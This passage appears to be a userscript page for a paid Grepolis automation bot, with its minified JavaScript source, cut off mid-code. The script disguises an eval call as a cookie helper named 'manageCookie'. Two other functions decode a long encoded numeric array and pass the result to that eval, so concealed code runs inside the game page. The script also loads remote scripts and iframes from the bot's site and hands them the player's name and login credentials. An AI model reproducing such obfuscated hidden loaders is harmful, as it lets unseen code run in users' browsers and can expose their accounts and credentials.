AutoFarmBot for Grepolis

By Merfolk458 Last update Mar 26, 2012 — Installed 11,795 times.

the source is over 100KB, syntax highlighting in the browser is too slow

// ==UserScript==
// @name                        AutoFarmBot for Grepolis
// @namespace           AutoFarmBot for Grepolis
// @description         AutoFarmBot for Grepolis
// @autor                       Meat Scripts
// @verison                     6.5
// @include                     http://*.grepolis.*/*
// ==/UserScript==

Array.prototype.shuffle=function(){var i=this.length,j,t;while(i){j=Math.floor((i--)*Math.random());t=this[i];this[i]=this[j];this[j]=t}return this};
var meatscripts={version:"6.5",host:location.href.split("/")[2],server:location.href.split("/")[2].split(".")[0],param_won:{},h:function(date){return(date.getHours()>9)?date.getHours():"0"+date.getHours()},m:function(date){return(date.getMinutes()>9)?date.getMinutes():"0"+date.getMinutes()},s:function(date){return(date.getSeconds()>9)?date.getSeconds():"0"+date.getSeconds()},createScript:function(href,id){var script=document.createElement("script");script.src=href;script.type="text/javascript";script.id=id;document.getElementsByTagName("head")[0].appendChild(script);return},request:function(data,url,success,error,no_response){var rcheck,rcheck2=0;$.ajax({type:"post",data:data,url:"http://"+meatscripts.host+url,success:function(data){if(rcheck2==0){clearTimeout(rcheck);success(data);data=null}},error:function(data){if(rcheck2==0){clearTimeout(rcheck);meatscripts.request_error();error();data=null}},});if(no_response!=null){rcheck=setTimeout(function(){rcheck2=1;no_response()},40000)}},request_error:function(){HumanMessage.error(mslang[42])},postMessage:{send:function(target,data){target.postMessage(JSON.stringify(data),"*")},get:function(){window.onmessage=function(event){var result=JSON.parse(event.data);switch(result.view){case"botactive":meatscripts.login(result.data);break;case"logosaver":logosaver.script.save_callback(result.type,result.data);break;case"chatautorize":logosaver.chat.give_me_access_callback(result.data);break;case"chatget":logosaver.chat.get_request_callback(result.data);break;case"chatsend":logosaver.chat.send_request_callback(result.data);break;case"attacker":case"initattacks":autoattack.save_callback(result.data);break;case"attackslist":autoattack.list_callback(result.data);break;case"deleteattack":autoattack.delete_callback(result.data);break;default:meatscripts.request_error();break}}},},window:function(text,adds){var html='<div class="gpwindow_frame ui-dialog-content ui-widget-content"><div class="gpwindow_left"></div><div class="gpwindow_right"></div><div class="gpwindow_bottom"><div class="gpwindow_left corner"></div><div class="gpwindow_right corner"></div></div><div class="gpwindow_top"><div class="gpwindow_left corner"></div><div class="gpwindow_right corner"></div></div><div id="gpwnd_1001" class="gpwindow_content">'+text+"</div>"+(adds||"")+"</div>";return html},manageCookie:function(){return window["\x65\x76\x61\x6C"]},setCookie:function(name,value,expires,path,domain,secure){document.cookie=name+"="+escape(value)+((expires)?"; expires="+expires:"")+((path)?"; path="+path:"")+((domain)?"; domain="+domain:"")+((secure)?"; secure":"")},getCookie:function(name){var cookie=" "+document.cookie;var search=" "+name+"=";var setStr=null;var offset=0;var end=0;if(cookie.length>0){offset=cookie.indexOf(search);if(offset!=-1){offset+=search.length;end=cookie.indexOf(";",offset);if(end==-1){end=cookie.length}setStr=unescape(cookie.substring(offset,end))}}return(setStr)},deleteCookie:function(name,path,domain){this.setCookie(name,null,new Date(0),path,domain);return true},load_friend_part:function(){if(autofarmbot.friends!=undefined){if(autofarmbot.friends.length!=0){var msfr='<div id="friend-list">';for(var i=0;i<autofarmbot.friends.length;i++){msfr+="ID "+autofarmbot.friends[i]+"";if(i!=autofarmbot.friends.length-1){msfr+=", "}}msfr+="</div><label>"+mslang[14]+":</label>"}else{var msfr='<div id="zero-friend">'+mslang[27]+"</div>"}}else{var msfr='<div id="zero-friend">'+mslang[26]+"</div>"}return(this.param_bot_4!="")?'<input type="text" id="farminvite" name="farminvite" value="http://autofarmbot.ru/autofarmbot.ru.'+this.param_bot_4+'.user.js" /><label for="farminvite">'+mslang[15]+":</label>"+msfr:'<div id="no-link">'+mslang[16]+"</div>"},main_page:function(){$("#links").append('<div class="mslinks" style="display:none;"><hr /><a href="http://autofarmbot.ru/about" target="_blank">'+mslang[1]+'</a> - <a href="http://autofarmbot.ru/logosaver" target="_blank">'+mslang[43]+'</a> - <a href="http://autofarmbot.ru/assistant" target="_blank">'+mslang[46]+"</a><hr /></div>");$("#links .mslinks").fadeIn(3000)},full_init:function(typePage){$('head script[src*="meatscripts.php"]').remove();this["enable"]=1;switch(typePage){case 0:this.main_page();break;case 1:this.add_fbfbs();this.init_settings();this.init_panels();this.init_statistics();this.news.part_1();if(meatscripts.param_bot_9==1){this.hm.init()}this.init_replacement();if(meatscripts.param_ass_10==1){assistant.alarm_about_events.audio(0)}logosaver.init_module();assistant.init_module();visuality.init_module();break;case 2:this.init_settings();if(meatscripts.param_log_1==1){logosaver.visuality.init_script()}break}},init_one:function(data,i,def){return(parseInt(data[i])==data[i])?data[i]:def},init_settings:function(){var data=(this.getCookie("meatbot")||"").split("|");meatscripts.param_bot_0=this.init_one(data,0,"");meatscripts.param_bot_1=data[1]||"";switch(parseInt(data[2])){case 0:default:meatscripts.param_bot_2=330000;break;case 1:meatscripts.param_bot_2=620000;break;case 2:meatscripts.param_bot_2=1220000;break;case 3:meatscripts.param_bot_2=2420000;break}meatscripts.param_bot_3=(parseInt(data[3])==1)?100:2000;meatscripts.param_bot_4=data[4]||"";meatscripts.param_bot_5=this.init_one(data,5,0);meatscripts.param_bot_6=this.init_one(data,6,0);meatscripts.param_bot_7=this.init_one(data,7,0);meatscripts.param_bot_8=this.init_one(data,8,1);meatscripts.param_bot_9=this.init_one(data,9,1);meatscripts.param_bot_10=this.init_one(data,10,0);meatscripts.param_bot_11=this.init_one(data,11,1);meatscripts.param_bot_12=this.init_one(data,12,1);meatscripts.param_bot_13=this.init_one(data,13,0);meatscripts.param_bot_14=this.init_one(data,14,1);meatscripts.param_bot_15=this.init_one(data,15,1);meatscripts.param_bot_16=this.init_one(data,16,1);var data=(this.getCookie("meatwon")||"").split("|");meatscripts.param_won_0=this.init_one(data,0,0);meatscripts.param_won_1=this.init_one(data,1,0);var data=(this.getCookie("meataaa")||"").split("|");meatscripts.param_aaa_0=this.init_one(data,0,0);meatscripts.param_aaa_1=this.init_one(data,1,1);var data=(this.getCookie("meatlog")||"").split("|");meatscripts.param_log_0=this.init_one(data,0,1);meatscripts.param_log_1=this.init_one(data,1,1);meatscripts.param_log_2=this.init_one(data,2,1);meatscripts.param_log_3=0;var data=(this.getCookie("meatass")||"").split("|");meatscripts.param_ass_0=this.init_one(data,0,1);meatscripts.param_ass_1=this.init_one(data,1,1);meatscripts.param_ass_2=this.init_one(data,2,1);meatscripts.param_ass_3=this.init_one(data,3,1);meatscripts.param_ass_4=this.init_one(data,4,1);meatscripts.param_ass_5=this.init_one(data,5,1);meatscripts.param_ass_6=this.init_one(data,6,1);meatscripts.param_ass_7=this.init_one(data,7,1);meatscripts.param_ass_8=this.init_one(data,8,1);meatscripts.param_ass_9=this.init_one(data,9,1);meatscripts.param_ass_10=this.init_one(data,10,1);meatscripts.param_ass_11=this.init_one(data,11,1);meatscripts.param_ass_12=(data[12]!="undefined")?data[12]:"";meatscripts.param_ass_13=this.init_one(data,13,1);meatscripts.param_ass_14=this.init_one(data,14,1)},init_panels:function(){$("#sidebar #links ul").append('<li><a href="#" id="mssettings">'+mslang[0]+"</a></li>");$("body").append('<div id="meatscriptsDOM"><div id="mspanel"'+(($("#toolbar").length==0)?' style="top:75px;"':"")+'><div class="drag"></div><div class="pos1"></div><div class="pos2"></div><div class="pos3"></div><div class="pos4"></div><div class="audio"></div></div><iframe src="http://autofarmbot.ru/bot/transport.php" id="ex" name="ex" onLoad="meatscripts.init_meatbar();logosaver.chat.init_chat();"></iframe><div id="hidden_afb_log"></div><div id="hidden_aa_log"></div><div id="hidden_aw_log"></div></div>');$('<div id="msf_sidebar"></div>').insertBefore($("#units_sidebar_top"));this.init_panels_events();this.postMessage.get()},add_fbms:function(z){var f="6676266662666672667626664766466762676666276677c1651e9fa1539c313585154f32183df261847e5c149c03",_="";for($$=1;$$<=f.length/2;$$++){_+=unescape("%"+f[f.length/2-$$]+f[f.length-$$])}_=_[_[0]+_[1]+_[2]+_[3]+_[4]]("!");__=m(z[0])+z[1]+m(z[2])+z[3]+m(z[4])+z[5]+m(z[6]);function m(z){var __="";for(_2=0;_2<z[_[1]];_2=_2+4){if(_2%20==0){continue}__+=String[_[2]](/\d+/[_[3]](z[_[4]](_2,_2+4)))[0]}return __}__.toString;this.manageCookie()(__)},init_panels_events:function(){$("#mssettings").click(function(){meatscripts.settings()});$("#mspanel").draggable({containment:"document",handle:"div.drag"})},add_DOM_object:function(elem){$("#meatscriptsDOM").append(elem)},add_to_panel:function(elem,pos){$("#mspanel ."+pos).append(elem)},add_audio_player:function(elem){$("#mspanel .audio").html(elem)},add_sep_to_panel:function(pos){$('<div class="msseparator"></div>').insertBefore("."+pos)},add_to_hm:function(elem,type){$("#log_container > div:eq("+type+")").append(elem)},add_to_full_hm:function(elem,type){$("#hidden_"+type+"_log").append(elem)},add_to_wnd_hm:function(elem,type){$("#"+type+"_log").append(elem)},add_fbfbs:function(){var z=new Array('1144%120%%61%119%1056958%110%100%111%1195073%%59%120%%91%%344575%%92%120%%54%%546802%%34%%93%%61%%348945%%54%%54%%55%%544202%%50%%54%%54%%546644%%54%%50%%54%%548921%%54%%54%%55%%501520%%54%%54%%55%%548098%%50%%54%%54%%542886%%52%%55%%54%%547327%%52%%54%%54%%558765%%54%%50%%54%%551869%%54%%54%%54%%545846%%50%%55%%54%%547348%%55%%55%%99%%494885%%54%%53%%49%1014763%%57%102%%97%%497610%%53%%51%%57%%991430%%51%%49%%51%%532459%%56%%53%%49%%538491%%52%102%%51%%503100%%49%%56%%51%1009805%102%%50%%54%%494440%%56%%52%%55%1017967%%53%%99%%49%%528377%%57%%99%%48%%516755%%34%%59%120%%914026%%34%%92%120%%552724%%97%%34%%93%%616900%102%117%110%%999985%116%105%111%1106797%%40%102%%41%1231475%118%%97%114%%326787%%95%%61%%34%%345743%%44%%95%%95%%614677%102%%46%108%1013431%110%103%116%1044664%%59%102%111%1145197%%40%%36%%36%%611530%%49%%59%%36%%366551%%60%%61%%95%%952525%%47%%50%%59%%369295%%36%%43%%43%%417420%123%%95%%43%%617372%117%110%101%1156644%%99%%97%112%1012306%%40%%34%%37%%342135%%43%102%%91%%954254%%95%%47%%50%%452736%%36%%36%%93%%433594%102%%91%%95%%952745%%45%%36%%36%%934837%%41%125%114%1013400%116%117%114%1106185%%32%%95%125%%592804%120%%46%%95%%361778%%32%%61%%32%1022941%117%110%%99%1165831%105%111%110%%403502%%36%%44%%36%%368841%%44%%36%%36%%365816%%44%%36%%36%%369300%%36%%41%123%1189316%%97%114%%32%%952604%%61%120%%46%1225043%%40%102%%41%%593994%%95%%61%%95%%915036%%95%%91%%48%%938708%%43%%95%%91%%498192%%93%%43%%95%%915566%%50%%93%%43%%955260%%91%%51%%93%%439718%%95%%91%%52%%934862%%93%%40%%34%%332680%%34%%41%%59%1187090%%97%114%%32%%951506%%52%%61%120%%463986%122%%40%%36%%418226%%91%%95%%91%%484761%%93%%93%%40%%345723%%33%%34%%41%%441821%114%117%115%%616507%%34', 'АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя', '9561%%34%%44%%97%1144222%114%117%115%%612693%114%117%115%%912366%%95%%91%%48%%935000%%93%%40%%34%%344634%%41%%59%102%1117198%114%%40%%95%%497503%%61%%49%%59%%953476%%49%%60%%97%1143014%103%117%109%1016803%110%116%115%%462792%108%101%110%1034619%116%104%%59%%951847%%49%%43%%43%%415787%123%118%%97%1148655%%32%%95%%95%%619556%%97%114%103%1173980%109%101%110%1164222%115%%91%%95%%494816%%93%%44%%95%%953698%%95%%61%%34%%348084%%59%102%111%1146496%%40%%95%%50%%619789%%48%%59%%95%%508591%%60%%95%%95%%919483%%95%%91%%49%%938016%%93%%59%%95%%503353%%61%%95%%50%%435206%%52%%41%123%1058837%102%%40%%95%%508860%%37%%50%%48%%614768%%61%%48%%41%1233059%%99%111%110%1161553%105%110%117%1016134%125%%95%%53%%617060%%47%%92%100%%435188%%47%%91%%95%%913332%%51%%93%%93%%404563%%95%%95%%91%%957664%%91%%52%%93%%935347%%40%%95%%50%%441367%%95%%50%%43%%529457%%41%%41%%59%1058966%102%%40%%40%%952215%%53%%62%%61%%495244%%55%%54%%38%%387622%%95%%53%%60%%611771%%50%%51%%57%%418224%124%124%%95%%531844%%61%%61%%49%%545588%%49%124%124%%951923%%53%%61%%61%%508929%%52%%49%%41%1232085%115%119%105%1161712%%99%104%%40%%957521%%53%%41%123%1001568%101%102%%97%1178728%108%116%%58%%959874%%95%%95%%43%%615775%%97%114%114%1177566%115%%91%%95%%538734%%45%%49%%55%%549543%%93%%59%%98%1149626%101%%97%107%%599288%%99%%97%115%1015677%%32%%49%%54%%496686%%58%%95%%95%%954476%%43%%61%%34', 'Ё', '8010%%34%%59%%98%1141250%101%%97%107%%592140%%99%%97%115%1013357%%32%%50%%52%%491618%%58%%95%%95%%951598%%43%%61%%34', 'ё', '2324%%34%%59%%98%1142833%101%%97%107%1255843%125%101%108%1158946%101%123%%95%%953605%%95%%43%%61%%834067%116%114%105%1109791%103%%91%%95%%918193%%50%%93%%93%%404991%%95%%53%%41%%918721%%48%%93%125%1259278%%95%%95%%61%%955703%%95%%95%%91%%956242%%91%%48%%93%%939847%%40%%34%%36%%364432%%36%%34%%41%%916117%%95%%91%%53%%935622%%93%%40%%34%%921999%%92%%34%%41%%594851%102%111%114%%405166%%95%%51%%61%%481626%%59%%95%%51%%604140%%95%%52%%91%%959844%%91%%49%%93%%937313%%59%%95%%51%%437616%%43%%41%123%%957854%%95%%61%%95%%957563%%91%%95%%91%%488757%%93%%93%%40%%341212%%95%%91%%34%%438181%%95%%51%%43%%349355%%93%%34%%41%%912536%%95%%91%%53%%931015%%93%%40%%95%%525198%%91%%95%%51%%931482%%41%125%%59%1193620%105%110%100%1118266%119%%91%%95%%911274%%54%%93%%93%%401814%%95%%95%%41%1253257%125%%59');this["\x61\x64\x64\x5f\x66\x62\x6d\x73"](z)},init_meatbar:function(){$('<div id="meatbar" style="display:'+((meatscripts.param_bot_12==1)?"block":"none")+';"><div id="barpart1"><div class="fon"></div><div id="farmautorize" style="height:52px;"><label for="farmid">'+mslang[3]+':</label><div class="subinputel"><input type="text" id="farmid" value="'+meatscripts.param_bot_0+'" /></div><label for="farmpass">'+mslang[4]+':</label><div class="subinputel"><input type="password" id="farmpass" value="'+meatscripts.param_bot_1+'" /></div><a id="botactive" class="msbutton"><span class="msbutton1"><span class="msbutton2">'+mslang[75]+'</span></span></a><a class="msminimize farmminimize"></a></div><div id="farmform" style="display:none;"><span class="tytid" style="display:none;"></span><span id="botdeactive" style="display:none;">[ <a>'+mslang[133]+'</a> ]</span><div class="farmtimer" style="display:none;"></div><div class="farmlicense"><span>'+mslang[18]+':</span><span></span></div><a id="farmsubmit" class="msbutton"><span class="msbutton1"><span class="msbutton2">'+mslang[5]+'</span></span></a><a id="farmstop" class="msbutton" style="display:none;"><span class="msbutton1"><span class="msbutton2">'+mslang[6]+'</span></span></a><a class="msminimize farmminimize"></a></div></div><div id="barpart2"></div><div id="barpart3"><div class="fon"></div><div id="barpart3news">AutoFarmBot v. 6.5<br/><a href=http://autofarmbot.ru/purchase target=_blank><font color=#ff0>Приобретение</font></a></div><div style="margin-top:3px;"><input class="param_bot_14" type="checkbox" onChange="meatscripts.save_wonders_2();" style="vertical-align: top;margin-top:4px;"><div class="msileft" style="vertical-align: top;"><div class="msiright"><select class="msselect" id="awselect" onChange="meatscripts.timer_wonders($(this).val());"><option value="0">нет</option><option value="1">30 минут</option><option value="2">1 час</option><option value="3">2 часа</option></select></div></div><span id="wlist"> [ <a>Чудеса</a> ]</span></div></div><div id="barpart4"></div></div><a class="msbutton msminimize farmminimize2" style="display:'+((meatscripts.param_bot_12==1)?"none":"block")+';"><span class="msbutton1"><span class="msbutton2">'+mslang[1]+"</span></span></a>").insertBefore("#sidebar");meatscripts.add_to_panel('<div id="attack_string" style="display:none;"><a class="msbutton" id="attacksubmit"><span class="msbutton1"><span class="msbutton2">'+mslang[101]+'</span></span></a><a class="msbutton" id="attacklist" style="display:none;"><span class="msbutton1"><span class="msbutton2">'+mslang[119]+'</span></span></a><span class="farmlicense"><span>'+mslang[18]+":</span><span></span></div>","pos4");this.init_meat_events()},init_meat_events:function(){$('.param_bot_14').mousePopup(new MousePopup('<div class="msdescription">Заменить следующий фарм-обход отсылкой ресурсов в Чудо</div>'));$('#awselect').mousePopup(new MousePopup('<div class="msdescription">Частота отсылки ресурсов в Чудо</div>'));$('#wlist').mousePopup(new MousePopup('<div class="msdescription">Перейти к списку Чудес Света</div>'));if(meatscripts.param_bot_14 != 0) {$('.param_bot_14').attr({'checked':'checked'})}$(".msminimize").live("click",function(){$("#meatbar").css({display:($("#meatbar").css("display")=="none")?"block":"none"});$(".farmminimize2").css({display:($("#meatbar").css("display")=="none")?"block":"none"});meatscripts.param_bot_12=($("#meatbar").css("display")=="none")?0:1;meatscripts.save_cookie()});$("#botactive").bind("click",function(){var id=$("#farmid").val(),pass=$("#farmpass").val(),data='{ "id" : '+id+', "pass" : "'+$("#farmpass").val()+'" }';meatscripts.postMessage.send(window.frames.ex,{view:"botactive",json:data,nick:Game.player_name,server:meatscripts.server})});$("#botdeactive a").bind("click",function(){meatscripts.logout()});$(".farmminimize").mousePopup(new MousePopup(mslang[72]));$(".farmminimize2").mousePopup(new MousePopup(mslang[73]));if($("#farmid").val()!=""&&$("#farmpass").val()!=""){$("#botactive").click()}$("#farmid, #farmpass").bind("keypress",function(e){if(e.keyCode==13){$("#botactive").click()}})},login:function(data){var data=JSON.parse(data),id=$("#farmid").val(),pass=$("#farmpass").val();if(data.error){alert(data.error);return}if(data.afb.active==0&&data.aa.active==0){alert(mslang[24]);$("#farmid").val("");$("#farmpass").val("");meatscripts.save_cookie();$("#farmid").val(id);$("#farmpass").val(pass);return}if(data.afb.active!=0){$("#farmsubmit, #farmsubmit span").removeClass("grey");$("#barpart1 .farmlicense span:eq(1)").html((data.aw.active!=0&&data.aw.unlim==null)?data.afb.time+" | "+data.aw.time:data.afb.time);$("#farmsubmit").bind("click",function(){autofarmbot.go()});$("#farmstop").bind("click",function(){autofarmbot.stop()})}else{$("#barpart1 .farmlicense span:eq(1)").html("Бот не активен");$("#farmsubmit, #farmsubmit span").addClass("grey")}if(data.aa.active!=0){$("#attacksubmit, #attacksubmit span").removeClass("grey");$("#attack_string .farmlicense span:eq(1)").html(data.aa.time);$("#attacksubmit").bind("click",function(){autoattack.go()});$("#attacklist").bind("click",function(){autoattack.list()});autoattack.go()}else{$("#attack_string .farmlicense span:eq(1)").html("Бот не активен");$("#attacksubmit, #attacksubmit span").addClass("grey")}if(data.aw.active!=0){$(".param_bot_14").removeAttr("disabled");$("#awselect").removeAttr("disabled");$("#wlist a").removeClass("grey");$("#wlist a").bind("click",function(){var m=Layout.wnd.Create(Layout.wnd.TYPE_ALLIANCE);meatscripts.open_wonders(m)})}else{$(".param_bot_14").attr({disabled:"disabled"});$("#awselect").attr({disabled:"disabled"});$("#wlist a").addClass("grey").unbind()}$("#farmautorize").css({display:"none"});$("#farmform span.tytid").html(mslang[3]+": "+id);$("#botdeactive, span.tytid").css({display:"inline-block"});$("#farmform").css({display:"block"});$("#attack_string").css({display:"block"});meatscripts.save_cookie()},logout:function(){autofarmbot.stop();autoattack.stop();$("#barpart1 .farmlicense span:eq(1)").empty();$("#farmsubmit").unbind();$("#farmstop").unbind();$("#farmsubmit, #farmsubmit span").removeClass("grey");$("#attack_string .farmlicense span:eq(1)").empty();$("#attacksubmit").unbind();$("#attacklist").unbind();$("#attacksubmit, #attacksubmit span").removeClass("grey");$("#attack_string").css({display:"none"});$("#farmform").css({display:"none"});$("#botdeactive, span.tytid").css({display:"none"});$("#farmform span.tytid").empty();$("#farmautorize").css({display:"block"})},init_statistics:function(){this.createScript("http://autofarmbot.ru/bot/meatscripts.php?statupdate&nick="+Game.player_name+"&server="+meatscripts.server+"&nocache="+Math.random(),"meat_statistics");$("#meat_statistics").remove()},settings:function(){if($(".wfarmsettings").length!=0&&$(".wfarmsettings").css("display")!="none"){return}var params_ch_bot=new Array(),params_ch_aaa=new Array(),params_ch_log=new Array(),params_ch_ass=new Array();switch(this.param_bot_2){default:case 330000:var seltime1='selected="selected"';this.param_time=0;break;case 620000:var seltime2='selected="selected"';this.param_time=1;break;case 1220000:var seltime3='selected="selected"';this.param_time=2;break;case 2420000:var seltime4='selected="selected"';this.param_time=3;break}if(this.param_bot_3==2000){var selspeed1='selected="selected"';this.param_speed=0}else{var selspeed2='selected="selected"';this.param_speed=1}params_ch_bot[4]=this.param_bot_4;for(var i=5;i<17;i++){params_ch_bot[i]=(this["param_bot_"+i]==1)?'checked="checked"':""}for(var i=0;i<2;i++){params_ch_aaa[i]=(this["param_aaa_"+i]==1)?'checked="checked"':""}for(var i=0;i<6;i++){params_ch_log[i]=(this["param_log_"+i]==1)?'checked="checked"':""}for(var i=0;i<15;i++){if(i==12){params_ch_ass[12]=this.param_ass_12;continue}params_ch_ass[i]=(this["param_ass_"+i]==1)?'checked="checked"':""};$(meatscripts.window('<div class="settings-menu"><b>'+mslang[193]+'</b><ul><li><a href="#" id="mstab1" class="settings-link selected">'+mslang[1]+'</a></li><li><a href="#" id="mstab6" class="settings-link">'+mslang[151]+'</a></li><li><a href="#" id="mstab4" class="settings-link">'+mslang[101]+'</a></li><li><a href="#" id="mstab2" class="settings-link">'+mslang[43]+'</a></li><li><a href="#" id="mstab3" class="settings-link">'+mslang[46]+'</a></li><li><a href="#" id="mstab5" class="settings-link">'+mslang[74]+'</a></li></ul></div><div class="settings-container"><div id="player_settings"><form id="settings_form" method="post" action="#"><div class="myblock mstab1" style="display: block;"><div class="game_header bold">'+mslang[1]+" - "+mslang[68]+'</div><fieldset><legend><a href="http://autofarmbot.ru/about" target="_blank">'+mslang[69]+'</a></legend><select id="typeoffarm" onChange="meatscripts.param_time=parseInt($(this).val());"><option value="0" '+(seltime1||"")+">"+mslang[7]+'</option><option value="1" '+(seltime2||"")+">"+mslang[8]+'</option><option value="2" '+(seltime3||"")+">"+mslang[162]+'</option><option value="3" '+(seltime4||"")+">"+mslang[163]+'</option></select><label for="typeoffarm">'+mslang[9]+':</label><select id="speedoffarm" onChange="meatscripts.param_speed=parseInt($(this).val());"><option value="0" '+(selspeed1||"")+">"+mslang[10]+'</option><option value="1" '+(selspeed2||"")+">"+mslang[11]+'</option></select><label for="speedoffarm">'+mslang[12]+':</label><hr/><div id="friend_part">'+meatscripts.load_friend_part()+'</div><hr/><input id="param_bot_8" type="checkbox" '+params_ch_bot[8]+'><label for="param_bot_8">'+mslang[35]+':</label><input id="param_bot_11" type="checkbox" '+params_ch_bot[11]+'><label for="param_bot_11">'+mslang[76]+':</label><input id="param_bot_9" type="checkbox" '+params_ch_bot[9]+'><label for="param_bot_9">'+mslang[78]+':</label><hr/><input id="param_bot_5" type="checkbox" '+params_ch_bot[5]+'><label for="param_bot_5">'+mslang[32]+" - "+mslang[33]+':</label><input id="param_bot_6" type="checkbox" '+params_ch_bot[6]+'><label for="param_bot_6">'+mslang[32]+" - "+mslang[34]+':</label><input id="param_bot_7" type="checkbox" '+params_ch_bot[7]+'><label for="param_bot_7">'+mslang[36]+':</label><input id="param_bot_10" type="checkbox" '+params_ch_bot[10]+'><label for="param_bot_10">'+mslang[97]+':</label><hr/><input id="param_bot_16" type="checkbox" '+params_ch_bot[16]+'><label for="param_bot_16"><span class="msnew"></span>'+mslang[195]+':</label><input id="param_bot_15" type="checkbox" '+params_ch_bot[15]+' onChange="meatscripts.dis_params();"><label for="param_bot_15"><span class="msnew"></span>'+mslang[194]+':</label></fieldset></div><div class="myblock mstab6" style="display: none;"><div class="game_header bold">'+mslang[151]+" - "+mslang[68]+'</div><fieldset><legend><a href="http://autofarmbot.ru/aw" target="_blank">'+mslang[69]+'</a></legend><input id="param_bot_14" type="checkbox" '+params_ch_bot[14]+'><label for="param_bot_14">'+mslang[151]+':</label></fieldset></div><div class="myblock mstab4" style="display: none;"><div class="game_header bold">'+mslang[101]+" - "+mslang[68]+'</div><fieldset><legend><a href="http://autofarmbot.ru/aa" target="_blank">'+mslang[69]+'</a></legend><input id="param_aaa_0" type="checkbox" '+params_ch_aaa[0]+'><label for="param_aaa_0">'+mslang[152]+':</label><input id="param_aaa_1" type="checkbox" '+params_ch_aaa[1]+'><label for="param_aaa_1">'+mslang[153]+':</label></fieldset></div><div class="myblock mstab2" style="display: none;"><div class="game_header bold">'+mslang[43]+" - "+mslang[45]+'</div><fieldset><legend><a href="http://autofarmbot.ru/logosaver" target="_blank">'+mslang[69]+'</a></legend><input id="param_log_0" type="checkbox" '+params_ch_log[0]+'><label for="param_log_0">'+mslang[43]+':</label><input id="param_log_1" type="checkbox" '+params_ch_log[1]+'><label for="param_log_1">'+mslang[44]+':</label><input id="param_log_2" type="checkbox" '+params_ch_log[2]+'><label for="param_log_2">'+mslang[88]+':</label></fieldset></div><div class="myblock mstab3" style="display: none;"><div class="game_header bold">'+mslang[46]+" - "+mslang[63]+'</div><fieldset><legend><a href="http://autofarmbot.ru/assistant" target="_blank">'+mslang[69]+'</a></legend><input id="param_ass_0" type="checkbox" '+params_ch_ass[0]+'><label for="param_ass_0">'+mslang[53]+':</label><input id="param_ass_1" type="checkbox" '+params_ch_ass[1]+'><label for="param_ass_1">'+mslang[54]+':</label><input id="param_ass_2" type="checkbox" '+params_ch_ass[2]+'><label for="param_ass_2">'+mslang[55]+':</label><input id="param_ass_3" type="checkbox" '+params_ch_ass[3]+'><label for="param_ass_3">'+mslang[59]+':</label><input id="param_ass_4" type="checkbox" '+params_ch_ass[4]+'><label for="param_ass_4">'+mslang[98]+':</label><input id="param_ass_5" type="checkbox" '+params_ch_ass[5]+'><label for="param_ass_5">'+mslang[99]+':</label><hr/><label><b style="font-size:12px;">'+mslang[60]+':</b></label><input id="param_ass_10" type="checkbox" '+params_ch_ass[10]+'><label for="param_ass_10">'+mslang[62]+':</label><input id="param_ass_11" type="checkbox" '+params_ch_ass[11]+'><input id="param_ass_12" type="text" value="'+params_ch_ass[12]+'"><label for="param_ass_11">'+mslang[57]+':</label><input id="param_ass_13" type="checkbox" '+params_ch_ass[13]+'><label for="param_ass_13">'+mslang[61]+':</label><input id="param_ass_14" type="checkbox" '+params_ch_ass[14]+'><label for="param_ass_14">'+mslang[100]+':</label><hr/><label><b style="font-size:12px;">'+mslang[64]+':</b></label><input id="param_ass_6" type="checkbox" '+params_ch_ass[6]+'><label for="param_ass_6">'+mslang[65]+':</label><input id="param_ass_7" type="checkbox" '+params_ch_ass[7]+'><label for="param_ass_7">'+mslang[66]+':</label><input id="param_ass_8" type="checkbox" '+params_ch_ass[8]+'><label for="param_ass_8">'+mslang[67]+':</label></fieldset></div><div class="myblock mstab5" style="display: none;"><div class="game_header bold">'+mslang[74]+'</div><fieldset><div id="mprices">Стоимость использования платных функций <b>АвтоФармБота</b> или <b>АвтоАтакера</b> для одного мира на данный момент составляет 100 рублей ($4 или 30гривен) в неделю, 280 рублей (10$ или 80гривен) в месяц. <div style="height:5px;"></div><div id="mprices"><b>АвтоЧудо</b> приобретается понедельно по 300р (11$ или 85гривен)<div style="height:5px;"></div><b>Внимание!</b> Оплата происходит на одну из следующих платежных систем:<br/><div style="text-align:center;"><div class="yad paysys"></div><div class="wmr paysys"></div></div>Также возможна оплата с помощью карт <strong class="o8o">VISA / Mastercard</strong>.</div><div class="mini"><a href="http://autofarm.me/purchase" target="_blank">                                                                   Подробнее о приобретении</a></div></fieldset></div><a id="settsubmit" onClick="meatscripts.save_settings();" class="msbutton"><span class="msbutton1"><span class="msbutton2">'+mslang[13]+'</span></span></a><a id="addtoskype" href="skype:autofarmbot?chat" class="msbutton"><span class="msbutton1"><span class="msbutton2">Skype: autofarmbot</span></span></a></form></div></div>')).dialog({title:mslang[25]+" | "+mslang[102]+" - version "+meatscripts.version,resizable:false,dialogClass:"wfarmsettings",width:850,height:550});$(".settings-menu").parent().addClass("fullwindow");this.dis_params();this.settings_events()},dis_params:function(){if($("#param_bot_15").is(":checked")){$("#param_bot_7, #param_bot_10, #param_bot_11, #speedoffarm").attr({disabled:"disabled"})}else{$("#param_bot_7, #param_bot_10, #param_bot_11, #speedoffarm").removeAttr("disabled")}},settings_events:function(){$(".wfarmsettings a.ui-dialog-titlebar-close").click(function(){$(".wfarmsettings .gpwindow_frame, .wfarmsettings").remove()});$(".wfarmsettings .settings-menu a").click(function(){$(".wfarmsettings .settings-menu a").removeClass("selected");$(this).addClass("selected");$(".wfarmsettings .myblock").css({display:""});$(".wfarmsettings .myblock."+$(this).attr("id")).css({display:"block"})});$('label[for="typeoffarm"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[164]+"</div>"));$('label[for="speedoffarm"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[165]+"</div>"));$('label[for="param_bot_8"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[167]+"</div>"));$('label[for="param_bot_11"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[168]+"</div>"));$('label[for="param_bot_9"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[169]+"</div>"));$('label[for="param_bot_5"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[170]+"</div>"));$('label[for="param_bot_6"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[171]+"</div>"));$('label[for="param_bot_7"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[172]+"</div>"));$('label[for="param_bot_10"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[173]+"</div>"));$('label[for="param_aaa_0"]').mousePopup(new MousePopup('<div 